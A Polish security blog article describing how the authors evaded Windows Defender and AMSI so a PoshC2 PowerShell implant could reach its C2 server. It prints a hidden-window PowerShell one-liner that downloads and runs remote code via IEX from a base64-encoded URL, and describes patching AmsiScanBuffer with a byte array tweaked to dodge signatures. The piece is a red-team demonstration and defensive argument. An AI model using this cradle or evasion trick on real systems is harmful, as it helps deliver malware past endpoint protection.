Menu dostępności

Obejście blokad Windows Defender oraz AMSI w celu nawiązania komunikacji do serwera C2

Mechanizmy obronne Windows cały czas ewoluują. Wiele technologii jest stale rozwijana, a Windows Defender przestał być już traktowany jako bezsensowny dodatek zużywający nasze zasoby. Potrafi wykryć wiele zaawansowanych zagrożeń i jest porównywany z systemami AV i antymalware najwyższej klasy.
Postanowiliśmy jednak pokazać jego słabości, a bardziej ogólną słabość wszystkich programów antywirusowych, o których pisaliśmy już wcześniej.

Artykuł ten, bezpośrednio nawiązuje do artykułu o ataku z wykorzystaniem framework’a PoshC2. Napotkaliśmy tam bowiem problem, blokowania uruchomienia naszego skryptu implantu C2 w PowerShell.

Na stacji roboczej z najnowszym systemem Windows 10 zadziałały mechanizmy kontroli AMSI – zaawansowanej ochrony przed złośliwym oprogramowaniem dla użytkowników końcowych, danych oraz aplikacji.

Postanowiliśmy nie dawać za wygraną ani też nie iść na łatwiznę i po prostu wyłączyć Windows Defender w naszym środowisku, ale wykonaliśmy kroki, które pozwoliły nam ominąć sygnatury Windows i dzięki którym mogliśmy połączyć się do naszego serwera C2. Użyjemy kilka sztuczek pozwalających z sukcesem uruchomić nasz skrypt PowerShell na Windows. Zacznijmy od zbadania obecnego skryptu, a później zajmiemy się utworzeniem własnego. Cały ten krok podzieliliśmy na dwa etapy – analiza ładunku PoshC2 i utworzenie własnego.


Krok 1 – analiza ładunku w PowerShell

Pierwsza rzeczą, jaką musieliśmy wykonać to sprawdzenie co tak na prawdę zawiera w sobie implant w PowerShell serwera PoshC2. Punktem wyjścia jest standardowy ładunek, który przekazuje ciąg zakodowany w standardzie base64 do nieinteraktywnego, ukrytego monitu programu PowerShell:

Widzimy, że ciąg znaków po przełączniku „-e” zakodowany jest w standardzie base64. Zdekodowanie jego odsłania kolejny ciąg znaków z wywołaniem funkcji IEX. Warto w tym miejscu zauważyć, że ten kod został zablokowany przez AMSI podczas naszego pierwotnego wywołania ładunku.

Jeśli przejdziemy do adresu URL, z którego metoda „DownloadString” pobiera dalszy kod możemy zaobserwować, co następuje dalej:

Powyżej widzimy, że powstaje kolejny proces dziedziczny PowerShell i następuje ponowne przekazanie zakodowanego łańcucha w wierszu poleceń. Zdekodujmy zatem drugi zakodowany ciąg:

W tym kroku widzimy, że skrypt wywołuje kolejną funkcję IEX dekoduje i rozpakowuje (gzip-em) zakodowany w base64 kolejny ciąg znaków. Na tym etapie, gdy wprowadzimy go do okna PowerShell otrzymujemy komunikat, że nasz antywir zablokował jego wywołanie – zadziałały kolejne sygnatury Windows.

Dekodujemy dalej, aż dojdziemy do surowego ładunku:

Na tym etapie możemy zobaczyć te same ustawienia, które skonfigurowaliśmy po stronie serwera za pomocą komendy „posh-config”, takie jak URI, agent użytkownika itp.

Nareszcie dobrnęliśmy do źródła ładunku i jego surowego kodu. Jak się też okazało ten sam skrypt możemy pobrać z lokalizacji „/opt/PoshC2_Project/payloads/payload.txt” na serwerze C2. Metoda na takie podwójne wywołanie PowerShell przez skrypt PoshC2 dla osób zajmujących się cyberbezpieczeństwem (BlueTeam) będzie stosunkowo prosta do wychwycenia w systemie, jeśli oczywiście w odpowiedni sposób monitorują PowerShell w swoim środowisku. Tutaj Windows wyszedł nam z pomocą i na wstępie zablokował już pierwsze wywołanie skryptu dzięki funkcji AMSI, w pierwszym jego wątku.


Krok 2 – Utworzenie własnego ładunku PowerShell z obejściem AMSI

Na podstawie wiedzy zdobytej powyżej (etap 1) możemy przystąpić do optymalizacji naszego ładunku i zaprojektowania własnego kodu, który ominie blokady AMSI. Pierwszą poprawką, którą postanowiliśmy zrobić, to usunięcie podwójnych inwokacji „powershell.exe” występujących w zakodowanych poleceniach. Zaprojektujemy w taki sposób nasz kod PowerShell, abyśmy mogli pobrać ładunek w bieżącym, pojedynczym wątku powershell.exe. Innymi słowy – będziemy dążyć do tego, aby wykonać tylko raz kod PowerShell. Finalna wersja ładunku otrzyma następująca postać:

c:\Windows\System32\cmd.exe /c powershell.exe -w hidden -noni -nop -c „IEX(New-Object Net.WebClient).DownloadString([System.Text.Encoding]::UTF8.GetString ([System.Convert]::FromBase64String(’aHR0cDovLzE3Mi4xNi4yMTUuMTI5OjgwMDAvMQ==’)))”

Powyższy skrypt w swoim wywołaniu realizuje:

  • Obejście AMSI w pierwszym etapie wywołania skryptu – pobiera specjalny skrypt z zakodowanego w Base64 adresu URI. Skrypt ten opiszemy poniżej.
  • Załadowanie w tle surowego skryptu zdekodowanego w etapie 1 – pobrany w tle skrypt omija AMSI i pod koniec ładuje funkcją IEX w jednym wątku drugi surowy skrypt PoshC2 (zdekodowany w etapie 1 powyżej), który nawiązuje komunikację z serwerem C2.

Ponieważ nasz ładunek podczas uruchomienia w pierwszej kolejności jest przechwytywany przez funkcję AMSI antywirusa, możemy obejść funkcję AmsiScanBuffer, tak aby zawsze zwracała poprawny wynik. Jeśli zrobimy to w poprawny sposób, w pierwszym wywołaniu skryptu mamy duże szanse, że nasz surowy skrypt ładunku PoshC2 zostanie poprawnie załadowany. Wszystkie pozostałe moduły będą dziedziczyć nasze „obejście” w bieżącym obszarze pamięci wątków.

W celu obejścia AMSI użyliśmy specjalnego skryptu z Github użytkownika RastaMouse, w którym nieznacznie zmodyfikowaliśmy kod, aby nie był wykrywalny przez sygnatury antywirusa. Wykonaliśmy małe ćwiczenie z inżynierii wstecznej i zmodyfikowaliśmy ostatnią wartość w tablicy bajtów w zmiennej $Patch przy użyciu prostej arytmetyki 

$ Patch = [Bajt []] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2 + 0x1)

Wynik w postaci skryptu prezentuje poniższy ekran:

Na końcu powyższego skryptu pobieramy funkcją IEX drugi ładunek, który jest surowym ładunkiem skryptu PoshC2 (oba skrypty o nazwie „1” i „2” umieściliśmy na serwerze C2). Wszystko jest wykonywane w bieżącym wątku, dlatego AMSI nie zareaguje na drugie wywołanie ITEX, ponieważ przepuścił nas na samym początku. Zdecydowaliśmy się także na użycie surowego ładunku i niezaciemnianie go z uwagi na względy bezpieczeństwa wokół funkcji blokowania skryptów „ScriptBlockLogging” w Windows. Wywołanie naszej linijki PowerShell możemy zaobserwować na poniższym ekranie:

Oraz udane połączenie z serwerem PoshC2:


Podsumowanie

Podczas naszych testów uruchomienia ładunku (standardowego skryptu PowerShell z PoshC2) zadziałały funkcje ochrony AMSI, które byliśmy w stanie ominąć pisząc własny skrypt. Podobnie zachowałby się system Windows, gdybyśmy wybrali inną z dostępnych metod uruchomienia ładunku wygenerowanych w PoshC2. Lecz zapewne i w tych przypadkach użycia innych metod moglibyśmy znaleźć obejście.

Daje nam to kolejny argument, że bezpieczeństwo to znacznie szersze pojęcie niż wbudowane funkcje systemu operacyjnego Windows i antywirus, dlatego w celu zabezpieczenia się przed tego typu malware’em musimy wdrożyć odpowiednie środki, aplikacje i konfiguracje, które zminimalizują ryzyko przeprowadzenia takiego ataku. O takich zabezpieczeniach pisaliśmy w artykule o PowerShell, a także w kampanii Akronimy Bezpieczeństwa.

Popularne

Czym są non-human identities (NHI)? Jak możemy je chronić i jakie zagrożenia stwarzają dla organizacji?

Czym są non-human identities (NHI)? Jak możemy je chronić i jakie zagrożenia stwarzają dla organizacji?

W dzisiejszym artykule opisujemy pewien problem istniejący w firmach i organizacjach, związany z tożsamościami nieludzkimi (non-human identities), czyli inaczej – tożsamościami niezwiązanymi z pracow...
Filtrowanie URL i DNS, dlaczego to takie ważne?

Filtrowanie URL i DNS, dlaczego to takie ważne?

Filtrowanie adresów URL ogranicza zawartość stron internetowych, do których użytkownicy mają dostęp. Odbywa się to poprzez blokowanie określonych adresów URL przed załadowaniem. Firmy wdrażają filtrowanie...
Nowe podatności w architekturze sieci 5G

Nowe podatności w architekturze sieci 5G

Nowe badania nad architekturą 5G ujawniły lukę w zabezpieczeniach modelu dzielenia sieci oraz zwirtualizowanych funkcjach sieciowych, które można wykorzystać do nieautoryzowanego dostępu do danych, a tak...
Hakerzy z Dragon Breath z nową techniką ataku

Hakerzy z Dragon Breath z nową techniką ataku

Specjaliści z Sophos wykryli niedawno złośliwą aktywność polegającą na klasycznym DLL side-loadingu, ale ze zwiększoną złożonością i dodatkową warstwą wykonania. Co więcej, dochodzenie wskazuje, że oso...
Polowanie na eskalację uprawnień w Windows: sterowniki jądra i Named Pipe pod lupą

Polowanie na eskalację uprawnień w Windows: sterowniki jądra i Named Pipe pod lupą

Podatności typu Local Privilege Escalation (LPE) pozostają jednym z kluczowych elementów realnych ataków na systemy Windows. Nawet przy poprawnie skonfigurowanym systemie i aktualnym oprogramowaniu bł...